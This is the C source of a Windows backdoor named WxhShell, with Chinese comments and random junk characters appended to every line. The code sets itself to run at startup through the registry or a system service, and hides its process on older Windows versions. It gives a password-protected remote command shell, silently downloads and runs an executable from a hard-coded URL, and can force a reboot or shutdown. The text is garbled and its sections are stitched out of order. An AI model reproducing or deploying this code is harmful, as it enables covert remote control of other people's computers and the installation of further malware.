    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TmiQq'm[b  
    else { A:Z:&(NtE:  
    closesocket(wsh); K.~U%v}  
    ExitThread(0); 5N/;'ySAE_  
    } ) |a5Qxz  
    break; gE~31:a^  
    } !5-[kG&  
  // 获取shell V>Cf 8>m  
  case 's': { LX'US-B.!  
    CmdShell(wsh); $'Z!Y;Ue  
    closesocket(wsh); 0M p>X  
    ExitThread(0); ]gZjV  
    break; KNhH4K2iP8  
  } DGnswN%n1  
  // 退出 lLv0lf  
  case 'x': { {[+gM?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LtBH4 A  
    CloseIt(wsh); Ql 1# l:Q  
    break; Mv3Ch'X[  
    } @@QU"8q  
  // 离开 }{"\"Bn_  
  case 'q': { `shB[Lt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rYJvI  
    closesocket(wsh); I uDk9<[b:  
    WSACleanup(); $oEDyC  
    exit(1); >KJ]\`2>)c  
    break; gMbvHlT  
        } Z[VKB3Pb8  
  } g@L4G?hLn  
  } -~g3?!+Hb  
;DTNw=  
  // 提示信息 <Jx{Uv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "O`;zC  
} ?W(f%/B#  
  } yLP0w^Q  
M<729M  
  return; IP3-lru  
} s0u$DM2  
gqhW.e}]  
// shell模块句柄 +Muyp]_  
int CmdShell(SOCKET sock) ;&!l2UB%  
{ =@'"\ "Nh  
STARTUPINFO si; G+}LLm.wX  
ZeroMemory(&si,sizeof(si)); }|d:(*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v|xlI4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iX28+weH  
PROCESS_INFORMATION ProcessInfo; ':=C2x1d|  
char cmdline[]="cmd"; t65!2G"<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {SJLM0=Z  
  return 0; c?d#Bj ?  
} TJ<PT  
E$T#o{pai  
// 自身启动模式 _rM%N+$&d_  
int StartFromService(void) *=8)]_=f  
{ +2?[=g4;}  
typedef struct ?/\;K1c p  
{ C"}x=cK  
  DWORD ExitStatus; xl3U  
  DWORD PebBaseAddress; !l~hO  
  DWORD AffinityMask; ra3WLK  
  DWORD BasePriority; @P-7a`3*  
  ULONG UniqueProcessId; km^AX:r1  
  ULONG InheritedFromUniqueProcessId; z(ajR*\#  
}   PROCESS_BASIC_INFORMATION; B@4#y9`5  
E_OLf%um  
PROCNTQSIP NtQueryInformationProcess; x[X.// :  
D7 @10;F}[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^V:YNUqp#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Fi8@0Fh  
Um~jp:6p  
  HANDLE             hProcess; }MX`WW0\]Z  
  PROCESS_BASIC_INFORMATION pbi; ~?p > L  
ms$o,[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Xrq+O,  
  if(NULL == hInst ) return 0; cE3co(j  
5IepVS(>?v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g^idS:GtX5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  LCG<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %bsdC0xM  
sk5\"jna  
  if (!NtQueryInformationProcess) return 0; rk~/^(!  
5*CwQJC<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0\m zGfd  
  if(!hProcess) return 0; y|aWUX/a  
yDKX,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L=$P  
fkYQ3d,`  
  CloseHandle(hProcess); Zwc b5\Q  
"n\!y~:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [  /D/  
if(hProcess==NULL) return 0; H\S,^)drJ?  
Mf *qr9*  
HMODULE hMod; ]mc,FlhU@  
char procName[255]; &qr7yyY  
unsigned long cbNeeded; 8177x7UG2[  
H0Tt(:.&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6?~pWZ&k_  
bIH2cJ  
  CloseHandle(hProcess); xP*RH-<  
y`N1I  
if(strstr(procName,"services")) return 1; // 以服务启动 1 ID! rxE  
Ii9vA ^53  
  return 0; // 注册表启动 j}|6k6t  
} #<JrSl62(K  
emHi= [!i  
// 主模块 }X$>84s>[P  
int StartWxhshell(LPSTR lpCmdLine) ^O ?$} sr  
{ D&'".N,}  
  SOCKET wsl; [:o#d`^  
BOOL val=TRUE; ~5|a9HV:  
  int port=0; ^mGTZxO  
  struct sockaddr_in door; _V;J7Vz  
wjl? @K  
  if(wscfg.ws_autoins) Install(); Kb}N!<Z*  
4b#YpK$7U  
port=atoi(lpCmdLine); }A#FGH +  
>?kt3.IQ!X  
if(port<=0) port=wscfg.ws_port; qjWgyhL  
^8 z*f&g  
  WSADATA data; |k)u..k{>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ' Sl9xd  
E>ev/6ox  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g5cR.]oz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |h'ugx1iY  
  door.sin_family = AF_INET; 6`yq4!&v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !=-l760  
  door.sin_port = htons(port); bNC1[GG[  
9Hu%Z/[!p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0+L5k!1D  
closesocket(wsl); C>;}CH|X  
return 1; iU3co|q7  
} NO<myN+N  
DQ~@=%?ni  
  if(listen(wsl,2) == INVALID_SOCKET) { . v;Npm2  
closesocket(wsl); .-r 1.'.A  
return 1; }vL[N~5\  
} =?}'\ >G "  
  Wxhshell(wsl); _WkK%RYV  
  WSACleanup(); ^yX W.s  
:!|xg! |y  
return 0; ( R0   
H'Po  
} c"| ^Lo.  
Wbc % G8  
// 以NT服务方式启动 mX#T<_=d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -AbA6_j  
{ 6q5V*sJ&  
DWORD   status = 0; AXJC&O}`  
  DWORD   specificError = 0xfffffff; \UiuJ+  
H: U_k68  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "XH]B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TEYbB=.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gC'GZi^  
  serviceStatus.dwWin32ExitCode     = 0; 2n@"|\uHD  
  serviceStatus.dwServiceSpecificExitCode = 0; o~~_>V)W  
  serviceStatus.dwCheckPoint       = 0; 5?Bi+fg  
  serviceStatus.dwWaitHint       = 0; fpzTv3D=I  
L'c4 i[~s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & z?y  
  if (hServiceStatusHandle==0) return; u-?&~WA  
_x:K%1_[  
status = GetLastError(); ?=\h/C  
  if (status!=NO_ERROR) 0/%zXp&m  
{ Sy8Og] a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )Ev [o#y  
    serviceStatus.dwCheckPoint       = 0; FY VcL*  
    serviceStatus.dwWaitHint       = 0; B (BWdrG  
    serviceStatus.dwWin32ExitCode     = status; osnDW aN  
    serviceStatus.dwServiceSpecificExitCode = specificError; \=QG6&_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SY)o<MD  
    return; ;mMn-+3<  
  } C|>#|5XaF  
%xY'v$ %  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F:\y#U6"J  
  serviceStatus.dwCheckPoint       = 0; FNZnz7  
  serviceStatus.dwWaitHint       = 0; Wima=xYe\5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JY /Cd6\  
} f",B;C  
SI@I  
// 处理NT服务事件,比如:启动、停止 H kg0;)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W}EO]A%f.\  
{ $u`;{8  
switch(fdwControl) YT-t$QyL  
{ "=Ziy4V  
case SERVICE_CONTROL_STOP: T\]z0M  
  serviceStatus.dwWin32ExitCode = 0;  Im#3sn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fc M~4yP?  
  serviceStatus.dwCheckPoint   = 0; 3GaM>w}>W  
  serviceStatus.dwWaitHint     = 0; 7%0PsF _  
  { N!P* B $d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7qs[t7-h?  
  } ,,i;6q_f  
  return; WjA)0HL(  
case SERVICE_CONTROL_PAUSE: b]J_R"}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (5atU |8r  
  break; NE/3aU  
case SERVICE_CONTROL_CONTINUE: k1]?d7g$w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r*kk/ $,2  
  break; n9)/(=)>*  
case SERVICE_CONTROL_INTERROGATE: haY.rH]z  
  break; D L$P  
}; ."MBKyg6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] qrO"X=  
} )[/+j"F   
ov?>ALRg  
// 标准应用程序主函数 7=JiL=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :FK(*BUh  
{ V+E2nJ  
ost~<4~  
// 获取操作系统版本 |vGz 1jLV  
OsIsNt=GetOsVer(); D F0~A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2#sE\D  
p[W8XX  
  // 从命令行安装 1N2:4|woe  
  if(strpbrk(lpCmdLine,"iI")) Install(); d`v]+HK  
ty(F;M(  
  // 下载执行文件 cnI!}Bu  
if(wscfg.ws_downexe) { _7 n+j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fa$ Fo(.  
  WinExec(wscfg.ws_filenam,SW_HIDE); {At1]>  
} ]2v31'  
W~gFY#w  
if(!OsIsNt) { sYeZ.MacU  
// 如果时win9x,隐藏进程并且设置为注册表启动 vZ|m3;X  
HideProc(); Bm^vKzp  
StartWxhshell(lpCmdLine); {y :/9  
} 7|H !(a'  
else FCOSgEU  
  if(StartFromService()) "4I`.$F%O(  
  // 以服务方式启动 WM9QC59  
  StartServiceCtrlDispatcher(DispatchTable); eoow]me  
else i1  
  // 普通方式启动 &L+u]&!6C  
  StartWxhshell(lpCmdLine); U|iSJ%K  
]2tX'=X  
return 0; .vwOp*3\  
} =:5yRP  
U+nwLxe'  
.(3B}}gB>  
W4T>@ b.  
=========================================== (3 B; V  
]W]Vkkg]  
sgFpZk  
E@t^IGD r  
+\Rp N  
27gK Y Zf;  
" +|\dVe.  
1)M3*h3  
#include <stdio.h> L{osh0  
#include <string.h> sexnO^s  
#include <windows.h> Av7bp[OD  
#include <winsock2.h> e>Is$+[`7  
#include <winsvc.h> }9{6{TD  
#include <urlmon.h> ,sXa{U  
<+C]^*j  
#pragma comment (lib, "Ws2_32.lib") k4s >sd3 5  
#pragma comment (lib, "urlmon.lib") 4km=KOx[  
1vi<@i,  
#define MAX_USER   100 // 最大客户端连接数 oE)tK1>;H  
#define BUF_SOCK   200 // sock buffer YI&7s_% -  
#define KEY_BUFF   255 // 输入 buffer fXO"Mr1  
irpO(>LK  
#define REBOOT     0   // 重启 5,;{<\c  
#define SHUTDOWN   1   // 关机 ll73}v  
@yqy$I   
#define DEF_PORT   5000 // 监听端口 6Kg lp\2  
;PGC9v%i  
#define REG_LEN     16   // 注册表键长度 j2g#t  
#define SVC_LEN     80   // NT服务名长度 }hEBX:-  
Cd]d[{NJ;  
// 从dll定义API "wA3l%d[Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,Rz,[KI|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zN*/G6>A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NhXTt!S6C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A'p"FYlCW  
]#TL~u[  
// wxhshell配置信息 Yw4c`MyL  
struct WSCFG { {WT"\Xj>B?  
  int ws_port;         // 监听端口 }G_ i+  
  char ws_passstr[REG_LEN]; // 口令 -N~*h  
  int ws_autoins;       // 安装标记, 1=yes 0=no PUF"^9v  
  char ws_regname[REG_LEN]; // 注册表键名 G23Mr9m5O  
  char ws_svcname[REG_LEN]; // 服务名 (\>_{"*=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j=M_>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0g~WM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^=}~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T&6{|IfM_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :>;-uve8'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /w`{]Ntgu  
C KBLM2 D  
}; pu,/GBG_  
uXyNj2(d.  
// default Wxhshell configuration G{$9e}#  
struct WSCFG wscfg={DEF_PORT, t&eY+3y,T  
    "xuhuanlingzhe", zH}u9IR3`  
    1, D3vdO2H  
    "Wxhshell", ,m9Nd "6\  
    "Wxhshell", A: 0  
            "WxhShell Service", ~`u?|+*BO  
    "Wrsky Windows CmdShell Service", c-n'F+fZ  
    "Please Input Your Password: ", ^s_E|~U  
  1, _|x%M}O},  
  "http://www.wrsky.com/wxhshell.exe", %t`a-m  
  "Wxhshell.exe" hQ#'_%:  
    }; k-Le)8+b  
) yRC$7I  
// 消息定义模块 t-3wjS1v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?9 m3y0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y+F$]!hw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GL9R 5  
char *msg_ws_ext="\n\rExit."; (+q?xwl!N  
char *msg_ws_end="\n\rQuit."; o#4Wn'E  
char *msg_ws_boot="\n\rReboot..."; VEd\*  
char *msg_ws_poff="\n\rShutdown..."; i=#r JK=  
char *msg_ws_down="\n\rSave to "; u ,*$n'l]  
\/. Of]YQ  
char *msg_ws_err="\n\rErr!"; 4cTJ$" v  
char *msg_ws_ok="\n\rOK!"; 0`3ey*  
&W)k s  
char ExeFile[MAX_PATH];  J<V}g v  
int nUser = 0; 76 #  
HANDLE handles[MAX_USER]; yAi#Y3!::  
int OsIsNt; p$0;~1vH  
6WzE'0Nyr  
SERVICE_STATUS       serviceStatus; VgN`' iC`I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VABrw t  
ig7)VKr  
// 函数声明 g*AnrQ}P  
int Install(void); 6oL-Atf  
int Uninstall(void); KAO}*?  
int DownloadFile(char *sURL, SOCKET wsh); Hvnak{5  
int Boot(int flag); #B &D  
void HideProc(void); 72@8M  
int GetOsVer(void); \Llrs-0 M  
int Wxhshell(SOCKET wsl); gPd:>$  
void TalkWithClient(void *cs); jgVra*   
int CmdShell(SOCKET sock); X CDHd ?Ld  
int StartFromService(void); plv"/KJM  
int StartWxhshell(LPSTR lpCmdLine); `[C8iF*Y"  
AFc#2wn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cs8bRXjHa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7E%ehM6Y  
~2S`y=*:  
// 数据结构和表定义 rPZ<  
SERVICE_TABLE_ENTRY DispatchTable[] = "/O0j/lm  
{ <u&uwD~A  
{wscfg.ws_svcname, NTServiceMain}, =5+M]y E<  
{NULL, NULL} Q{0-pHr}  
}; psta&u\ q  
gOx4qxy/m|  
// 自我安装 4&R\6!*s  
int Install(void) POtDge  
{ Z=L' [6  
  char svExeFile[MAX_PATH]; 49@ pA-  
  HKEY key; N?p9h{DG  
  strcpy(svExeFile,ExeFile); |rq~.cA  
Sr,ZM1J  
// 如果是win9x系统,修改注册表设为自启动 M+ ^]j  
if(!OsIsNt) { pr>K#@^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n,9 *!1y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z>7Oez>  
  RegCloseKey(key); OV;Ho  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X6N^<Z$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  4O[5,  
  RegCloseKey(key); /thCu%%9A  
  return 0; }V ;PaX  
    } s^AQJ{X  
  } ad&Mk^p  
} oB&s2~  
else { M#=woj&[  
\Nb6E&+  
// 如果是NT以上系统,安装为系统服务 s3uT:Xw3rW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `g6ZhG:W  
if (schSCManager!=0) a^)7&|$ E  
{ L&Qdb xn  
  SC_HANDLE schService = CreateService  UY+~,a  
  ( +VAfT\G2  
  schSCManager, * ,_Qdr^F  
  wscfg.ws_svcname, nx $?wxIm  
  wscfg.ws_svcdisp, X. UN=lu  
  SERVICE_ALL_ACCESS, hkRv0q.'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ipb 4{A&"\  
  SERVICE_AUTO_START, U :J~O y_Z  
  SERVICE_ERROR_NORMAL, hh|'Uq3  
  svExeFile, `Rm2G  
  NULL, [A yq%MA  
  NULL, P=KOw;bs  
  NULL, L_<&oq  
  NULL, 7>9/bB+TL  
  NULL $*G]6s  
  ); <$Q&n{  
  if (schService!=0) .Uh-Wi[  
  { w44{~[0d4  
  CloseServiceHandle(schService); E IsA2 f  
  CloseServiceHandle(schSCManager); pE^LQi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oHxaa>C>  
  strcat(svExeFile,wscfg.ws_svcname); 1mFc]1W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $gJMF(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y xGIv8O]  
  RegCloseKey(key); x1|5q/I  
  return 0; oQjh?vm  
    } v)%EG  
  } RVXRF_I  
  CloseServiceHandle(schSCManager); C3G?dZKv2  
} 8ftLYMX@  
} rQ30)5^V|  
:* /<eT_  
return 1; gG*O&gQY  
} p!hewtb5  
1[} =,uaM  
// 自我卸载 nO\|43W  
int Uninstall(void) O >n L;I  
{ nUs)  
  HKEY key; (x&#>5  
3543[W#a  
if(!OsIsNt) { {pd%I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <*8nv.PX*  
  RegDeleteValue(key,wscfg.ws_regname); QbV)+7II=  
  RegCloseKey(key); l.;y`cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nr:%oD_G*  
  RegDeleteValue(key,wscfg.ws_regname); i._d^lR\t  
  RegCloseKey(key); TN7kt]a2  
  return 0; O<L /m[]  
  } SKD!V6S  
} o7DDL{iR/  
} e4khReF;  
else { rZKv:x}{6  
No =f&GVg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '?_I-="Mr  
if (schSCManager!=0) AY [7yPP  
{ [9'5+RXw3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dr7,>Yx  
  if (schService!=0) v;JY;Uh|  
  { m-, '  
  if(DeleteService(schService)!=0) { Z !wDh_  
  CloseServiceHandle(schService); AH`tkPd  
  CloseServiceHandle(schSCManager); E36<Wog  
  return 0; y;;^o6Gnw  
  } w{I60|C]*  
  CloseServiceHandle(schService); Q]{DhDz ?+  
  } 7yeZ+lD  
  CloseServiceHandle(schSCManager); iMk`t:!;#"  
} k8Qv>z  
} va~:oA  
_~HGMC)  
return 1; `z Z=#p/  
} e%wbUr]c2  
[EB2o.E sO  
// 从指定url下载文件 B?#@<2*=L  
int DownloadFile(char *sURL, SOCKET wsh) rH8?GR0<  
{ _q3SR[k+`  
  HRESULT hr; )Qw|)='-  
char seps[]= "/"; ln3x1^!  
char *token; (0Hhn2JA  
char *file; _L%/NXu,  
char myURL[MAX_PATH]; ~ Z%>N  
char myFILE[MAX_PATH]; A`#5pGR  
V0wK.^]+}/  
strcpy(myURL,sURL); }9 qsPn  
  token=strtok(myURL,seps); XO"!)qF  
  while(token!=NULL)  by>,h4  
  { G5TdAW  
    file=token; +:/`&LOS-  
  token=strtok(NULL,seps); Qy0bp;V/  
  } 0kmVP~K  
~4XJ" d3L  
GetCurrentDirectory(MAX_PATH,myFILE); n)$ q*IN"  
strcat(myFILE, "\\"); @^k$`W;  
strcat(myFILE, file); 6CY_8/:zL  
  send(wsh,myFILE,strlen(myFILE),0); "N7C7`izc  
send(wsh,"...",3,0); n; v8Vc'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -']#5p l  
  if(hr==S_OK) h8pc<t\6  
return 0; hCW8(Zt  
else @ mt v2P`  
return 1; B quyPG"  
B:^5W{  
} {BJ[h  
dRWp/3 }  
// 系统电源模块 $sGX%u  
int Boot(int flag) ?y ]3kU  
{ ~Z.lvdA_5  
  HANDLE hToken; .6e5w1r63  
  TOKEN_PRIVILEGES tkp; vlEd=H,LT  
Vu~mi%UH  
  if(OsIsNt) { AL H^tV?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WiPMvl8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4A|5eg9N  
    tkp.PrivilegeCount = 1; NFmB ^@k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]=@>;yP)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0sV;TQt+f  
if(flag==REBOOT) { rb`C:#j{J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e-UPu%'  
  return 0; qI8{JcFx:  
} xCoQ>.4p  
else { ]%>;R^HY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o] )qv~o)  
  return 0; VNXB7#ry  
} ~[k 2(  
  } sI9~TZ :  
  else { r IS \#j  
if(flag==REBOOT) { ~y B[}BPf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pZjyzH{~  
  return 0; ,((5|MbM/  
} SJy:5e?zk  
else { D?X97jNm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?B@iBOcu[  
  return 0; =]Qu"nRB  
} |JuXOcr4  
} hb`b Q  
A6TNtXk  
return 1; 96MRnj*Y[  
} `(*5yXC  
a)y8MGx?  
// win9x进程隐藏模块 /oe="/y6  
void HideProc(void) b*?="%eE(  
{ 1eiH%{w  
i]9SCO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hr96sN.R   
  if ( hKernel != NULL )  "}Ya.  
  { h r*KDT^!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ==UH)o`?8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2&Wc4,O!i  
    FreeLibrary(hKernel); 9-}&znLZe  
  } (Ozb+W?  
QsI$4:yl  
return; jr~76  
} o*5|W9  
S`"IM?  
// 获取操作系统版本 ph^qQDA  
int GetOsVer(void) )Bd+jli|s  
{ -I\_v*nA  
  OSVERSIONINFO winfo; TxPP{6t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l3l[jDa,2  
  GetVersionEx(&winfo); Ao?H.=#y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %<I0-o  
  return 1; :R<,J=+$u  
  else Ww)qBsi8  
  return 0; >UR-37g{p  
} "qQU ^FW  
aViJ?*  
// 客户端句柄模块 h1JG^w$ 5  
int Wxhshell(SOCKET wsl) @36^4E>h  
{ M7!&gFv8  
  SOCKET wsh; (w"zI!  
  struct sockaddr_in client; d3^LalAp  
  DWORD myID; Ha4?I$'$  
Hdj0! bUx  
  while(nUser<MAX_USER) Hsx`P  
{ Z*s/%4On  
  int nSize=sizeof(client); _3hCu/BV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kTs)u\r.  
  if(wsh==INVALID_SOCKET) return 1; :~U1JAs$  
pEhWgCL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Bu<6  
if(handles[nUser]==0) |wVoJO!O}  
  closesocket(wsh); UI>-5,X  
else %oC]Rpdu  
  nUser++; \=,+weGw@  
  } B^{bXhDp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v|QFUa`  
Tje =vI  
  return 0; VY~WkSi[<  
} lE=Q(QUr  
]#S.L'  
// 关闭 socket \p [!@d^  
void CloseIt(SOCKET wsh) _RY<-B   
{ LdVGFlcXi  
closesocket(wsh); r")=Z1y  
nUser--; VaSw}q/o:/  
ExitThread(0); o"QpV >x  
} j!m~ :D  
wF3mQ_hv:@  
// 客户端请求句柄 NjsP"  
void TalkWithClient(void *cs) |K/#2y~  
{ P|_?{1eO2  
;?h#',(p  
  SOCKET wsh=(SOCKET)cs; U{eC^yjt"o  
  char pwd[SVC_LEN]; bKG:_mWe w  
  char cmd[KEY_BUFF]; QF[9Zn  
char chr[1]; *~2jP;$  
int i,j; <m UDx n  
z9;vE7n!  
  while (nUser < MAX_USER) { P]r"E  
zXUE<\  
if(wscfg.ws_passstr) { *b7 HtUA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #BlH)Cv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @YWfq$23  
  //ZeroMemory(pwd,KEY_BUFF); otX#}} +  
      i=0; &v3r#$Hj[  
  while(i<SVC_LEN) { 988aF/c  
`d3S0N6@  
  // 设置超时 g<}EL[9  
  fd_set FdRead; P{QRmEE  
  struct timeval TimeOut; nb0<.ICF%R  
  FD_ZERO(&FdRead); 5g/^wKhKG  
  FD_SET(wsh,&FdRead); K2:r7f  
  TimeOut.tv_sec=8; ]DC]=F.  
  TimeOut.tv_usec=0; rYN`u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "eh"' Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \+L_'*&8  
J,m.LpY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /x-Ja[kL  
  pwd=chr[0]; UkXc7D^jwm  
  if(chr[0]==0xd || chr[0]==0xa) { ><`.(Z5c  
  pwd=0; t6-c{ZX>A  
  break; q2gc.]K \  
  } ~3f#cEP>d}  
  i++; [>Q{70 c[  
    } Q 7B)t;^  
jnH44  
  // 如果是非法用户,关闭 socket ecf<(Vl}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]2b" oHg  
} kFD-  
YF&SH)Y7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [ .dNX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fp12-Hk ~  
T']*h8  
while(1) { NF&\<2kX  
y~ ^>my7G  
  ZeroMemory(cmd,KEY_BUFF); V~e1CZ(2X  
0#Rj[J;kh  
      // 自动支持客户端 telnet标准   zS?i@e $  
  j=0; :CK,(?t  
  while(j<KEY_BUFF) { pklcRrx,a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )S8q.h  
  cmd[j]=chr[0]; >KGQ#hnH  
  if(chr[0]==0xa || chr[0]==0xd) { @$+l ^"#-]  
  cmd[j]=0; d5^ipu  
  break; =7Tbu'O;  
  } dVe3h.,[v  
  j++; K7e<hdP_#  
    } %q ja:'k  
jGt'S{  
  // 下载文件 n!HFHy2  
  if(strstr(cmd,"http://")) { vc^PXjX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Cf^Q3)5o  
  if(DownloadFile(cmd,wsh)) kQVl8KS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vkbB~gr@*  
  else ;;l(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .=^h@C*   
  } @&E E/j^  
  else { 2$1rS}}  
Ej.D!@   
    switch(cmd[0]) { :nZ*x=aq  
  :Q\h'$C  
  // 帮助 to:hMd1T  
  case '?': { _DJ0 MR~3  
